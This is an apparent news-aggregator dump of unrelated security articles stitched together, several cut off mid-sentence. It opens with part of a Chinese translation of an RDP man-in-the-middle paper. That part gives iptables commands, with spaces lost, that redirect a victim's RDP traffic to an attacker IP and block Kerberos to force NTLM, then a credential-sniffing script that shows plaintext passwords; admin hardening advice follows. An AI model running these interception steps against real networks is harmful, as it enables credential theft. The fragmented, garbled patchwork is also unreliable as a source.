第三,我们将检索RDP服务器的SSL证书,并创建一个与原始证书具有相同公用名的新的自签名证书。我们还可以修正证书的到期日期,除非您对其指纹进行长时间的细致检查,否则它与原始文件很难区分。为此,我编写了一个小型的Bash脚本[23]来处理这项工作。

现在我们删除前面的iptables规则,并将受害者发送给RDP主机的TCP流量重定向到我们的IP地址:

$iptables-tnat-APREROUTING-ptcp-d"$ORIGINAL_DEST"\ -s"$VICTIM_IP"--dport3389-jDNAT--to-destination"$ATTACKER_IP"

为了强制从Kerberos降级到NTLM,我们可以将受害者发送到88端口的所有TCP流量全部拦截:

$iptables-AINPUT-ptcp-s"$VICTIM_IP"--dport88\ -jREJECT--reject-withtcp-reset

这样,我们就掌握了运行Python脚本所需的全部信息:

$rdp-cred-sniffer.py-c"$CERTPATH"-k"$KEYPATH""$ORIGINAL_DEST"
【技术分享】攻击RDP——如何窃听不安全的RDP连接

图6:左侧:受害者看到的域控制器的RDP会话。右侧:攻击者看到的明文密码。


建议

那么,作为系统管理员你可能想知道,应该采取哪些行动来保护自己网络的安全。

首先,如果服务器的身份不能被验证,即如果SSL证书没有被可信证书颁发机构(CA)签名,则拒绝RDP连接是绝对关键的。您必须使用企业CA来签署所有服务器证书。如果无法验证证书,则客户端必须通过GPO [22]配置为禁止连接: 在服务器端是否执行CredSSP(NLA)的问题是非常棘手的。为了便于记录,这也可以作为组策略[20]推出: 我们已经看到,客户端会缓存用户的凭据,以便在NLA不可用的情况下方便地重新传输它们——我们知道,这些凭据就位于内存中。因此,它们可能被具有SYSTEM权限的攻击者读取,例如使用Mimikatz [24]等。这是一个令人难以置信的常见网络攻击情形:攻陷一台机器,利用Mimikatz提取登录用户的明文凭证,并通过横向运动攻击其他帐户,直到找到域管理员密码为止。这就是为什么你只能在域控制器上使用你的个人域管理员帐户,而不应该在其他地方使用的原因。 但是如果使用RDP远程进入域控制器则会在工作站上留下高权限帐户的痕迹,这是一个严重的问题。此外,如果您强制执行NLA,在启用“用户必须在下次登录时更改密码”选项后,那么只能使用终端服务器的用户会被锁定。我们知道,NLA的唯一优点是更轻便,可以减轻拒绝服务攻击的影响,因为它占用较少的资源,并且可以保护RDP免受基于网络的攻击,如MS12-020 [25]。这就是为什么目前我们正在讨论是否建议禁用RDA的NLA的原因。 如果您希望避免使用NLA,请将组策略“要求为远程连接使用特定安全层”设置为SSL [20]。

为了进一步增加RDP连接的安全性,您可以采取的另一项措施是,除了用户凭证之外,为用户验证添加其他验证因子。目前有许多相关的第三方产品,至少在保护关键系统如域控制器的时候,您可以考虑这一措施。

如果你的linux机器是通过RDP连接到Windows终端服务器的话,我需要提醒的是,流行的RDP客户端rdesktop不支持NLA,并且根本不对SSL证书进行验证。所以我建议使用xfreerdp,至少它会验证SSL证书。

最后,鼓励大家对您的同事和用户不断重申:不要轻视SSL警告,无论是在RDP或HTTPS或其他任何情况下。作为管理员,您有责任确保您的客户端系统在受信任的CA列表中含有您的根CA。这样,这些警告就属于异常,需要马上通知IT部门。

如果您有任何其他问题或意见,请随时与我们联系。


【技术分享】攻击RDP——如何窃听不安全的RDP连接

图7:一个关键的GPO设置:为客户端配置服务器验证


参考资料

[1] Vollmer, A., Github.com: Seth (2017), https://github.com/SySS-Research/Seth (Cited onpage 2.) [2] Montoro M., Cain & Abel (2014), http://www.oxid.it/cain.html (Cited on page 2.) [3] Wikipedia contributors, Finite group, https://en.wikipedia.org/w/index.php?title=Finite_group&oldid=768290355 (accessed March 8, 2017) (Cited on page 5.) [4] Wikipedia contributors, Shor’s algorithm (accessed March 8, 2017), https://en.wikipedia.org/w/index.php?title=Shor%27s_algorithm&oldid=767553912 (Cited on page 5.) [5] Shor, P. W., Polynomial-Time Algorithms for Prime Factorization and Discrete Logarithms on a QuantumComputer (1995), https://arxiv.org/abs/quant-ph/9508027v2 (Cited on page 5.) [6] Microsoft Developer Network, [MS-RDPBCGR]: Non-FIPS (2017), https://msdn.microsoft.com/en-us/library/cc240785.aspx (Cited on pages 6 and 9.) [7] Schneier, B., Why Cryptography Is Harder Than It Looks (1997), https://www.schneier.com/essays/archives/1997/01/why_cryptography_is.html (Cited on page 6.) [8] Microsoft Developer Network, [MS-RDPBCGR]: Terminal Services Signing Key (2017), https://msdn.microsoft.com/en-us/library/cc240776.aspx (Cited on pages 6 and 8.) [9] Microsoft Developer Network, [MS-RDPBCGR]: Encrypting and Decrypting the I/O Data Stream (2017),https://msdn.microsoft.com/en-us/library/cc240787.aspx (Cited on page 6.) [10] Microsoft Developer Network, [MS-RDPBCGR]: Server Security Data (TS_UD_SC_SEC1) (2017), https://msdn.microsoft.com/en-us/library/cc240518.aspx (Cited on page 7.) [11] Microsoft Developer Network, [MS-RDPBCGR]: Signing a Proprietary Certificate (2017), https://msdn.microsoft.com/en-us/library/cc240778.aspx (Cited on page 8.) [12] Microsoft Developer Network, [MS-RDPBCGR]: Client Input Event PDU Data (TS_INPUT_PDU_DATA)(2017), https://msdn.microsoft.com/en-us/library/cc746160.aspx (Cited on page 10.) [13] Microsoft Developer Network, [MS-RDPBCGR]: Keyboard Event (TS_KEYBOARD_EVENT) (2017), https://msdn.microsoft.com/en-us/library/cc240584.aspx (Cited on page 11.) [14] Brouwer, A., Keyboard Scancodes (2009), https://www.win.tue.nl/~aeb/linux/kbd/scancodes-10.html#ss10.6 (Cited on page 11.) [15] Microsoft Developer Network, Microsoft NTLM (2017), https://msdn.microsoft.com/en-us/library/aa378749%28VS.85%29.aspx (Cited on page 14.) [16] Weeks, M., Attacking Windows Fallback Authentication (2015), https://www.root9b.com/sites/default/files/whitepapers/R9B_blog_003_whitepaper_01.pdf (Cited on page 14.) [17] Hashcat, https://hashcat.net/hashcat/ (Cited on page 14.) [18] John The Ripper, http://www.openwall.com/john/ (Cited on page 14.) [19] Microsoft Developer Network, [MS-CSSP]: TSRequest (2017), https://msdn.microsoft.com/enus/library/cc226780.aspx (Cited on page 15.) [20] Microsoft Technet, Security (2017), https://technet.microsoft.com/en-us/library/cc771869(v=ws.10).aspx (Cited on page 18.) [21] Microsoft Technet, Network Security: Restrict NTLM: NTLM authentication in this domain (2017), https://technet.microsoft.com/en-us/library/jj852241(v=ws.11).aspx (Not cited.) [22] Microsoft Technet, Remote Desktop Connection Client (2017), https://technet.microsoft.com/en-us/library/cc753945(v=ws.10).aspx (Cited on page 18.) [23] Vollmer, A., Github.com: clone-cert.sh (2017), https://github.com/SySS-Research/clonecert (Cited on page 16.) [24] Delpy, B., Github.com: mimikatz (2017), https://github.com/gentilkiwi/mimikatz (Cited onpage 18.) [25] Microsoft Technet, Security Bulletin MS12-020 (2012), https://technet.microsoft.com/enus/library/security/ms12-020.aspx (Cited on page 18.)

【技术分享】攻击RDP——如何窃听不安全的RDP连接
【技术分享】攻击RDP——如何窃听不安全的RDP连接
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.exploit-db.com/docs/41621.pdf

再看3.15,安全手机做到这几点才能真正保护信息安全

$
0
0
再看3.15,安全手机做到这几点才能真正保护信息安全

一点号科技圈2小时前

每年的3.15都备受关注,今年也不例外,据统计近年来,手机、金融、旅游成为当下的投诉热点,其中手机更是大家都离不开的一款电子产品。近几年的发展,让手机与大家的生活更加契合,移动支付,手机办公等都在这一块小屏幕上得以实现。而今年的3.15让手机安全大跌眼镜,在一家电影院外的手机充电桩上,只要连接上数据线,手机里的信息就可能被窃取,再一次向手机使用安全和本身的安全漏洞发出警告。既然存在问题,那么肯定就有先行者,在手机安全上下功夫的厂商并不少,我们一一详解。


php?url=0FumUohciK" alt="再看3.15,安全手机做到这几点才能真正保护信息安全" />

1、硬件不可少:


再看3.15,安全手机做到这几点才能真正保护信息安全

对于手机安全,简单粗暴的处理方式就是安全芯片,业界采用安全加密芯片的厂商掰手指都可以数出来,金立、华为就是其中的代表,将安全引擎集成在了SOC上,十分凑巧的是国内另一个通讯巨头中兴刚好就在3月15日当天发布了面向政务市场的安全手机中兴天机7s、中兴天机7 Max(行业版),底层也正是采用了安全芯片,并且采用的是经过国家密码管理局权威认证的安全芯片,该加密芯片还获得了中国金融认证中心的权威认证,可以说是同时达到了国密级、金融级安全标准。此外,相比SD卡加密,内置芯片加密不占用卡槽,而且更加稳定。有安全的加密芯片是前提,没有硬保护是没法在大环境中深度保护用户的使用安全的。


再看3.15,安全手机做到这几点才能真正保护信息安全

2、内功要修炼:


再看3.15,安全手机做到这几点才能真正保护信息安全

对于使用安全则需要厂商进行安全优化,优化方式不同,层次不同,效果自然不同。华为和金立采用的是较为相近“隔离”技术,就是将需要被重点保护的对象进行更高级别的保护,在系统层级上划分区域,进行不同层级上的加密,让一些支付应用更有效地被保护,但依旧被暴露在同一界面上;而中兴安全手机(行业版)则是从底层上进行隔离,采用硬隔离的方式将手机变成两个独立的使用界面,实现行政办公和日常生活完全隔离,达到深度保护的目的。

3、上下要贯通:


再看3.15,安全手机做到这几点才能真正保护信息安全

对于通话加密已经不是一个新话题了,但是很少有厂商能够做到的,因为对于厂商的整合能力要求十分高,AWIT团队研发制作的一款专门用于保护通话安全的配件JackPair,可以加密通话内容,从而保护你的个人隐私,但是单个89美元,一对139美元售价较为高昂,普通用户是无法买单,而中兴选择与通讯运营商合作,对通话传输内容进行加密,主被叫终端的每次通话都由唯一的密钥进行保护,让加密通话成为可能,这是上下游联合起来,最终实现的安全通话的案例。与此同时,中兴安全手机还能实现加密信息和加密邮件,全面保障用户信息安全。

4、云端要捍卫:


再看3.15,安全手机做到这几点才能真正保护信息安全

当然现在手机安全所面临的问题不再只是通话安全这么单一。数据时代的来临是悄无声息的,“互联网+”已经不是一个新鲜的词儿了,“大数据”也不是什么神秘的东西了,“云平台”更是五花八门,在如此大环境下数据的泄露变得更加的“轻而易举”,中兴从平台端进一步加强信息安全保障,依托移动安全接入平台和安全管控平台,为用户提供更为智能的一体化安全解决方案,真的是不用再担心数据泄露,因为除了拥有安全的平台,还拥有安全的智能终端。


再看3.15,安全手机做到这几点才能真正保护信息安全

笔者认为只有拥有了安全的硬件,安全的系统交互,安全的通信,安全的平台,全方位整合的手机才算的上真正的安全手机,当然,这也远远超越了文章开头我们所说的个人对于手机安全的需求。随着“互联网”在生活行业中普及,“互联网+”也连续三年出现在政府工作报告中,各行各业,甚至是政府办公都开始移动化、智能化,因而对于移动办公的安全提出更高的要求,毕竟国事、公共事务无小事。

为何黑客特别爱用IoT?管理权限划分不易是主因

$
0
0
为何黑客特别爱用IoT?管理权限划分不易是主因

昨天来源:电子工程世界

趋势科技全球消费市场开发协理许育诚近日在台湾资安大会上表示,许多企业内部关于IoT装置的管理权责往往划分不易,难以认定该归于IT人员管或是属于维运人员负责,以致于造成自家后门大开,有了让黑客趁机而入的大好机会。


php?url=0FuQpbQrES" alt="为何黑客特别爱用IoT?管理权限划分不易是主因" />
黑客锁定IoT装置攻击事件发生今年将会更加频繁,趋势科技全球消费市场开发协理许育诚也估计,今年下一波可能受到攻击的国家,很可能会是以IoT装置制造为主的几个国家,如中国和东南亚等国家。 「这也印证了IoT装置安全已经到了刻不容缓,急须要被解决的地步。 」他说。
高达1.2Tbps流量DDoS攻击、250万个IoTk

Visualizing Time-Dependent Graphs

$
0
0
Intro

Data-Ink Maximization is the concept of making every keystroke count (including the delete character), popularized by Edward Tufte . One famous example of this is how he redesigned the scatterplot into what is known as a rugplot .

Simplify, then minimize. Add lines, that’s key.So, let’s tryvisualizing time-dependent graphs with Tufte’s inspiration, with a twist. Let’s visualizerotating infrastructures. That is, let’s capture new hostnames (for example mail.google.com) that are resolving to a hosting IP from hour to hour.

One additional restriction is to find a solution using Matplotlib and NetworkX . Maybe we can write something quickly. Pasted below is source code to do this yourself.

OneHosting IP

Given two graphs of fictitious hosting IPshosting hostnamesat one hour, then the next, we can build a graph for each time. The challenge is to visualize the evolution. In other words, thechallenge is to compare two graphs that are time-dependent.

Here’s our simple answer: draw lines from one hour to the next. Draw a line from hosting IPA to A between the time windows. Below is an example of doing just this:


Visualizing Time-Dependent Graphs

FIGURE 1: Following hosting IPA from one hour to the next.

With the guideline following hosting IPA from hour to hour, we see the density of hostnamesconnected begin to vary. This variation is due to A resolvingmore hostnames in the second hour.

From a security perspective, an increase in the number of hostnamesresolving on a hosting IPmay indicate malicious or unintended behavior. For example, if we assume a hosting IP resolvesa constant number of hostnamesfrom one hour to the next (obviously a huge assumption), the increase in the number of hostnames resolvingmay be due to an IP starting to host a series of Exploit kit [1] or phishing domains [2] [3] . MultipleHosting IPs

Our next example, just builds on the first by overlaying more lines. Notice, how the lines begin to convey a certain amount of information about the complexity and density of the clusters in the graph.


Visualizing Time-Dependent Graphs

FIGURE 2: Following hosting IPs:A,B,C,H,S from one hour to the next.

By increasing the number of guidelines we are now tracing multiple hosting IPsfrom one hour to the next. We can compare the density of the connected hostnamesper hosting IP. In addition, we can begin to identify any connections from Hosting IPto hostnameto Hosting IP.

That is, hosting IPA and H in the first hour had nothing in common while in the second hour they had two hostnamesin common. With the guidelines we can quickly re-trace two time-dependent subgraphs and map their evolution.

From a security perspective, if hosting IPA and H had something in common in both hours, the resulting grid-lines would have completed a rectangle, a cycle, between the two time-dependent graphs. In this case, they form a tree-like structure. What makes this interesting, is that while hosting IPA and H obviously have something in common in the later hour, it is not clear they did in the previous. With the grid-lines we recognize there might be evidence that the hostnamesin the previous hour may be related.

We may therefore proceed, perhaps, from a known malicious hostname and begin to test whether other hostnameswithin the weakly drawn cluster (of the hostnamesresolving toA and H) in the previous hour are also malicious.

Next

The above example simply traced one, two, or three hosting IPsfrom one hour to the next. But notice, we could vary this. We could trace domains just as easily, or, a combination of users and domains.

If you’re interested in graph analytics on time-dependent graphs definitely check out this paper authored by folks at AmpLab , Databricks , and Uber .

Source

You’ll want your data stored in files like g1.txt and g2.txt looking like this:

{“domsuf”:”jriugrkbfdkjhg.com”,”client”:”D”,”count”:3}

{“domsuf”:”jriugrkbfdkjhg.com”,”client”:”E”,”count”:3}

{“domsuf”:”x0vr8wn.net”,”client”:”A”,”count”:3}

{“domsuf”:”52mt2pm.org”,”client”:”A”,”count”:3}

Then you can run:

BrandPost: Protect your data against pervasive cyberattacks

$
0
0

In the run - up to last fall’s U.S. elections, hackers made headlines after they stole thousands of emails from the inbox of John Podesta, who chaired Hillary Clinton's presidential campaign.

But from a cybersecurity vantage point, this was really old news. Away from the glare of Washington D . C . , attackers have long been busy deploying phishing emails, social engineering , and other schemes to penetrate enterprise security and steal employees’ credentials, such as passwords and user names.

While these types of attacks may fail to generate major headlines, they occur with regularity . Email, in fact, remains a favorite tool used by hackers to attack corporate networks. In an average month, about three-quarters of the more than 21 billion emails transmitted to organizations across the AT&T network are flagged as suspicious and blocked from reaching their destination, according to T he CEO’s Guide to Data Security from AT&T . That is equivalent to more than 400 million spam messages on its network each day .

Flexibility to meet morphing threats

That hints at the new normal around cybersecurity where there’s no rest for the weary. In fact, researchers expect that cybercrime will cost the world $6 trillion annually by 2021 , up from $3 trillion just a year ago. Something else to consider: Around 200 billion IoT devices will need to be secur ed by 2020 .

The onus falls to enterprise security experts to devise effective counter strategies that are as innovative as their companies’ business strategies.

Not only are cyberthreats increasingly pervasive but security practitioners must be at the top of their game, matching wits with a cohort of smart, organized cybercriminals who also value innovation as much as do traditional businesses.

Organizations face morphing security challenges that require innovative practices to combat ever-changing threats to data. Many of today’s cyberchallenges did not even exist until only a few years ago. That means the security strategy must be flexible enough to adapt to constant shifts in the threat landscape in what’s essentially an ongoing battle of attrition.

For example, static security perimeters no longer answer current needs. We inhabit a different computing era with data now scattered across mobile laptops, tablets, smartphones, and increasingly, IoT devices and the cloud . Security is a lot more complicated than when

IDG Contributor Network: Could iris recognition be coming to the enterprise?

$
0
0

IDG Contributor Network: Could iris recognition be coming to the enterprise?

Our daily lives are finally catching up to the sci-fi visions weread and dreamed about 30 years: virtual reality, artificial intelligence, and biometrics to name a few. As such, our experiences of technology in the workplace are on the cusp of dramatic shifts.

Notwithstanding the recent popularity of TouchID, biometric authentication has long been associated in the popular consciousness with iris recognition: secret agents and Bond villains pressing their eye up against a sensor to gain access to a top secret lab or a hidden bunker.

Candidly, the James Bond depiction is not an inaccurate one, as over the last 20 years fixed iris recognition systems were prohibitively expensive for pretty much everybody but government spy agencies and organizations protecting the world’s most critical assets.

Last year, however, all of that changed forever. Samsung released the Galaxy Note 7 including Iris scanning capability . While the obituary for that since scrapped-handset will likely center around exploding batteries, its legacy will be to have set a trend in terms of iris recognition being included in handsets. For enterprises, that will mean that iris-based biometric authentication can be deployed via mobile device, substantially reducing the hardware investment and potentially preventing 99% of fraudulent access that is common in today’s enterprise.

So is it that simple? Will companies all be asking employees to log into their accounts or to access the front door using iris recognition before next year is out?

An eye for opportunity

The opportunities are enormous. Existing platforms for biometric deployments using smartphones as an image capture device are becoming increasingly plug and play, so taking any forthcoming smartphone equipped with iris recognition and deploying it for authentication within the enterprise is extremely light-lifting. It could be used to control Active Directory access, physical access to sensitive areas, secure file access, and as a strong anti-fraud measure. The obvious early adopters are financial services companies, government institutions, and the healthcare industry, but the ease-of-deployment and lower cost means that even organizations with apparently less critical assets can still protect them with a vastly higher degree of security.

Of course, enterprise identity management has already begun to start embracing different forms of biometrics like fingerprint and voice. So why would companies choose iris?

Enhanced accuracy, improved security

In some regards, iris-based authentication using smartphones will be a perfect medium for enterprise level authentication of employees for access to high value data or permission to perform high-value transactions. The controlled and moderate lighting of the typical indoor work environment allows for optimal conditions for iris scanning to work using the type of system Samsung had deployed.

Enhanced security is the chief benefit over other common biometric identifiers like fingerprint and voice. Iris recognition systems are gaining interest because the iris’ rich texture offers a strong biometric cue for recognizing individuals.

Second to retina-based recognition, iris scanning has a proven track record of being highly secure because it is hard to spoof and provides a high degree of identity accuracy.

Not all sunshine and light

There are some significant practical hurdles to overcome in order to bring the above mentioned benefits to the fore. Iris recognition is usually based on near infrared (NIR) lighting and sensors, because the texture of dark-colored irides are not easily discernible in the visible spectrum. NIR lighting can penetrate the iris’ surface and thus reveal the intricate texture details that are present even in dark-colored irides. Including NIR in a smartphone is not a routine add-on, so it’s not likely that every new smartphone coming out next year will follow Samsung’s lead.

That creates a significant deployment restriction in the fact that, right now, just one mainstream smartphone includes iris scanning and it’s being recalled and shelved. The next device to incorporate iris recognition will not be far behind, but total market saturation will happen over a number of years. So to use iris-recognition an enterprise would need to end or alter its BYOD policy (which is highly unlikely to happen) and issue very specific devices to all employees. In addition, the promised land of open deployment has not quite been reached. Only embedded software on the Samsung device was given access to the biometric data, and this restricts development of corporate custom applications unless working with the device manufacturer or its licensed third-party integrators.

While it might be harder to game than fingerprints and voice, there are still mechanisms (albeit more cumbersome for the hacker). For example, a custom printed contact lens could be one way in which a hacker could forge access if they could get hold of the biometric data and the linked smartphone. Difficult, but not impossible - especially as 3D printing becomes more prevalent.

Finally, the mobility that a smartphone deployed biometrics authentication should provide is somewhat undermined by iris scanning’s reliance on moderate, indoor levels of light. For example, if your CEO needs to access an important but sensitive document while on vacation at the beach you might run into difficulties. The same is true of low-levels of light, so outdoors at night or in a bar are also out.

The prognosis for iris scanning

The jury is really out here. There are certainly security and ease-of-use benefits, but the current limitations are also apparent. If we start to see more smartphones including iris scanning as standard and the BYOD challenge is overcome, it becomes a more viable prospect. Then, we can look to see adoption in the white collar workplace as a big driver of consumer adoption and a virtuous circle might form.

One possible driver of adoption is the forthcoming General Data Protection Regulations (GDPR), under which banks will be required to keep track of data provenance -- that is, a traceable chain of all transactions related to the origin of a raw or computed data item. Provenance will require digital signatures via biometrics on each transaction in some circumstances to provide non-repudiation: iris scans could provide a highly-reliable basis for such digital signatures.

Still, due to some of the inherent restrictions relating to light, it is likely that, in most use cases, enterprises would need to deploy iris scanning alongside other authentication options, and perhaps reserve this format for the highest-value transactions or the most sensitive data.

To date, we haven’t found the perfect biometric identifier that solves all of an enterprise’s needs and that has held back deployments. Rather than giving up on the significant security benefits offered by biometrics, enterprises should be looking to create a flexible environment where different types of biometric authentication can be used and controlled easily -- including iris recognition.

This article is published as part of the IDG Contributor Network.Want to Join?

沉迷网络赌博 男子诈骗130万元被执行逮捕

$
0
0
沉迷网络赌博 男子诈骗130万元被执行逮捕

1小时前来源:红网

原标题:沉迷网络赌博 男子诈骗130万元被执行逮捕

红网资兴3月22日讯(通讯员 黄志江)家境殷实的男子黄某宏,因沉迷网络赌博,不仅输光了家产,还为筹集赌资和偿还赌债,诈骗他人130余万元。3月22日,湖南省资兴市检察院依法批准对涉嫌诈骗的黄某宏执行逮捕。

2013年2月底,资兴市公安局三都派出所接到谢某彬报警,称其被黄某宏以工程需要周转资金为由诈骗10万元。经民警查实,2012年4月和6月,黄某宏以其某工程需要资金周转为由,分两次从谢某彬处骗走10万元现金。随后,资兴警方先后接到雷某英、李某、李某亮、陈某东等十多人被黄某宏诈骗的报警。经查实,资兴市公安局组成专案组,将系列诈骗案件并案侦查。察觉事情败露的黄某宏,于2013年1月已逃之夭夭。民警十余次抓捕行动均无果。

2017年2月24日上午,资兴市公安局三都派出所获得黄某宏藏身于长沙市定王台某工地的线索。该所迅速组织警力赶赴长沙,并于当日23时许将其抓获。

经审讯,黄某宏对诈骗谢某彬等17人共计130余万元的犯罪事实供认不讳。经了解,黄某宏原本承包工程,积累了二百余万元的家底。2011年3月,黄某宏迷上网络赌博,越陷越深。一年后,黄某宏不仅输光了家产,还欠下了数十万元的赌债。一心想扳本的黄某宏于是以工程需要周转资金、集资建房、合作经营为由,先后找谢某彬等17人骗取130余万元。

目前,黄某宏因涉嫌诈骗已被逮捕。


黑客入侵智能手机新手法:声波攻击加速度传感器!

$
0
0
黑客入侵智能手机新手法:声波攻击加速度传感器!

一点号智物创新3天前

导读

说起黑客攻击,大部分人首先会想到软件和网络通信层面的入侵,很少有人会注意到硬件传感器也会遭受攻击,更令人想不到的是攻击途径竟然是无处不在的「声波」。然而,最近美国密歇根大学一项研究成功利用声波攻击了加速度传感器,并且成功入侵智能手机和智能可穿戴设备Fitbit手环。

研究简介

这项研究主要是模拟声学攻击电容式MEMS加速度传感器,通过故意制造干扰来达到欺骗传感器的目的。微处理器和嵌入式系统往往过于「盲目信任」这些传感器的输出,使得攻击者可以有机可乘,人为地为微处理器和嵌入式系统有选择性地输入一些数值。

正如研究人员在论文中所述,这项研究的贡献主要在于以下三方面:

第一,物理建模,主要针对MEMS加速度传感器的恶意声学干扰。

第二,电路缺陷研究,正是由于电路缺陷,所以MEMS加速度传感器和系统对于声学入侵攻击,才会存在安全漏洞。

第三,两种软件防御方法,减轻MEMS加速度传感器的安全风险。

密歇根大学的计算机科学和工程系的副教授 Kevin Fu 领导这一研究,团队利用精准调谐的铃声,欺骗了不同型号的加速度传感器。这种欺骗攻击方式,成为了进入这些设备的一个后门,使得攻击者可以利用它对于设备发动攻击。

对于这项研究,教授这么说:

“我们的研究颠覆了关于底层硬件的普遍假设。如果你站在计算机科学的角度,你不会发现这个安全问题。如果你站在材料科学的角度,你也不会发现这个安全问题。只有你同时站在计算机科学和材料科学的角度,你才会发现这些安全漏洞。”

加速度传感器

这项研究攻击方式是声波,攻击对象是加速度传感器。所以,我们简单介绍一下加速度传感器的相关知识和应用场景。


php?url=0FtMqZBXvN" alt="黑客入侵智能手机新手法:声波攻击加速度传感器!" />

(图片来源:密歇根大学)

加速度传感器,是一种能够测量三维空间中物体速度变化的传感器。通常由质量块、阻尼器、弹性元件、敏感元件和适调电路等部分组成。根据传感器敏感元件的不同,常见的加速度传感器包括电容式、电感式、应变式、压阻式、压电式等。

加速度传感器广泛应用于汽车电子、航空航天、医疗电子、无人机、智能手机、智能硬件、物联网等工业和消费电子领域。它可以采集物体的加速度数据信息,发送给芯片和嵌入式系统进行分析和决策。它的用途包括飞机导航、游戏控制、手柄振动和摇晃、汽车制动启动检测、地震检测、工程测振、地质勘探、振动测试与分析、安全保卫等等。

攻击演示

为了演示和模仿这些攻击,揭示相关的安全漏洞,研究人员扮演了白帽黑客,进行了几个实验。

实验一:他们通过播放不同的恶意音乐文件,控制加速度传感器,让三星 Galaxy S5 手机的芯片输出信号拼出单词“WALNUT”。


黑客入侵智能手机新手法:声波攻击加速度传感器!

(图片来源:密歇根大学)

实验二:他们利用价值5美元的扬声器,欺骗控制 Fitbit 手环的加速度传感器,让实际上没有运动过一步的 Fitbit 手环,形成虚假计数的假象。


黑客入侵智能手机新手法:声波攻击加速度传感器!

(图片来源:密歇根大学)

实验三:他们通过智能手机的扬声器播放了一段“恶意病毒”音乐文件,控制安卓手机的加速度传感器,该加速度传感器是控制玩具车的应用程序所信任的。他们欺骗了该应用程序,从而能够远程控制一辆玩具汽车。


黑客入侵智能手机新手法:声波攻击加速度传感器!

(图片来源:密歇根大学)

攻击原理

电容式MEMS加速度传感器,在加速过程中,通过对质量偏差的感知来测量加速度值。下图正是MEMS加速度传感器的原理图。


黑客入侵智能手机新手法:声波攻击加速度传感器!

(图片来源:密歇根大学)

当遭受到加速力时,感知的质量会发生变化,从而引起电容变化,再转换成一个模拟电压信号。电压信号则可以代表感知到的加速度。

声学压力波,会对于其传播路径上的物体产生影响。在共振频率下,感知质量的弹性结构会受到声学干扰的影响,取代原有的质量感知,从而产生虚假的加速度信号。这一过程有点类似歌唱家在歌唱过程中,发出的声音震碎玻璃杯,这同样也是一种共振现象。

这种被欺骗后的加速度信号和声学干扰信号相关,如下图所示。这里有一点很重要,弹性结构的共振频率与其物理设计特征相关,而声学干扰的共振频率必须匹配弹性结构的共振频率,从而成功制造这种虚假的加速度。


黑客入侵智能手机新手法:声波攻击加速度传感器!

(图片来源:密歇根大学)

所以,对于MEMS加速度传感器的声学攻击方案很简单:

在声学正弦信号上,对于希望传感器输出的信号进行振幅调制,但是必须要求声学信号的频率和MEMS传感器的共振频率一致。

下图展示了研究人员如何欺骗MEMS加速度传感器,输出信号带有类似字母"WALNUT"。


黑客入侵智能手机新手法:声波攻击加速度传感器!

(图片来源:密歇根大学)

如果某个系统或者设备使用了这种具有安全漏洞的MEMS传感器,进行自动化的状态改变决策,那么攻击者很有可能利用这种漏洞发动攻击。

为了演示这个过程,正如我们前面提到的实验三,研究人员展示了利用一部三星Galaxy S5 智能手机,它正在运行一个控制玩具车的应用程序。这个应用程序对于玩具车的控制,基于智能手机MEMS加速度传感器的测量信号。在正常情况下,用户可以倾斜手机至不同的角度,从而控制汽车运动的方向。通过声学攻击,汽车可以在无需移动手机的情况下运动。


黑客入侵智能手机新手法:声波攻击加速度传感器!

(图片来源:密歇根大学)

受影响的传感器型号

实验只测量了来自5个不同芯片制造商的20种不同MEMS加速度传感器的信号。但是,除了加速度传感器,其他的MEMS传感器,例如MEMS陀螺仪,也容易受到这种类型攻击。

研究人员所测试的具有安全隐患的传感器列表如下图所示,B代表输出偏置攻击,C代表输出控制攻击,被标注B和C的传感器型号就代表容易受到这种类型的攻击。


黑客入侵智能手机新手法:声波攻击加速度传感器!

(图片来源:密歇根大学)

这些传感器并不是所有的配置条件下都会出现安全漏洞,但是至少有一种情况下会发生。实验考虑的声学干扰振幅在110 db的声压级别,低一点的振幅同样也可以对于各种传感器产生负面影响。

电路缺陷

研究人员称,这些系统中的缺陷来源于「模拟信号的数字化处理」。数字的“低通滤波器”筛选出最高的频率以及振幅,但是没有考虑到安全因素。

在这些情况下,他们无意的清除了声音信号,从而造成安全漏洞,因此更加方便团队人为地控制系统。

应对策略

如何具体的应对这种攻击,大家可以参考文章末尾参考资料中的研究论文。

简短的说,我们可以有各种各样的技术方案,以达到安全应用传感器的目的。但是,下面是两种普遍的应对策略:

部署MEMS传感器的时候,采用一种可以限制他们暴露于声学干扰的途径,例如在它们周围部署声学抑制泡棉。

利用数据处理算法来拒绝反常的加速度信号,特别是具有在MEMS传感器共振频率附近的频率成分的那些信号。

研究人员在论文中介绍了两种低成本的软件防御方案,可以最小化该安全漏洞,并且他们也提醒了制造商去应对这些问题。

参考资料

【1】https://spqr.eecs.umich.edu/walnut/

【2】Timothy Trippel, Ofir Weisse, Wenyuan Xu, Peter Honeyman, andKevin Fu, "WALNUT: Waging Doubt on the Integrity of MEMS Accelerometers with Acoustic Injection Attacks," https://spqr.eecs.umich.edu/papers/trippel-IEEE-oaklawn-walnut-2017.pdf

更多前沿技术和创新产品,请关注微信公众号:IntelligentThings,或者联系作者个人微信:JohnZh1984

萨德部署最新进展 中国黑客窃取萨德情报是真的吗?

$
0
0
萨德部署最新进展 中国黑客窃取萨德情报是真的吗?

1小时前来源:巴中在线

原标题:萨德部署最新进展 中国黑客窃取萨德情报是真的吗?

随着萨德的部署完成度越来越高,东北亚局势也愈发微妙起来,首当其中的乐天已经成为炮灰,中国87家门店全部关停。但是这件事远远还达不到画上句号的时候,近日韩媒称国内有黑客窃取萨德的相关情报,这件事情属实吗?


php?url=0FumRaANbs" alt="萨德部署最新进展 中国黑客窃取萨德情报是真的吗?" />

韩国《东亚日报》21日刊登大幅独家报道,宣称中国黑客因“萨德”问题对韩国军方网站进行“狂轰滥炸”,甚至有可能要窃取有关“萨德”的情报。韩国防部发言人文尚均当天证实遭攻击次数增多,但未表明网络攻击来自中国,且称没有实际受害案例。韩方一意孤行部署“萨德”令中韩关系严重受挫。韩国峨山政策研究院21日发布最新调查结果称,中国取代日本,成为韩国民众最不喜欢的国家。中国朝鲜半岛问题专家王林昌对《环球时报》记者说,中韩曾经很友好,走到今天这种地步谁都不愿意看到。如果韩国能做出停止部署“萨德”的决定,那么中韩关系肯定会好转。

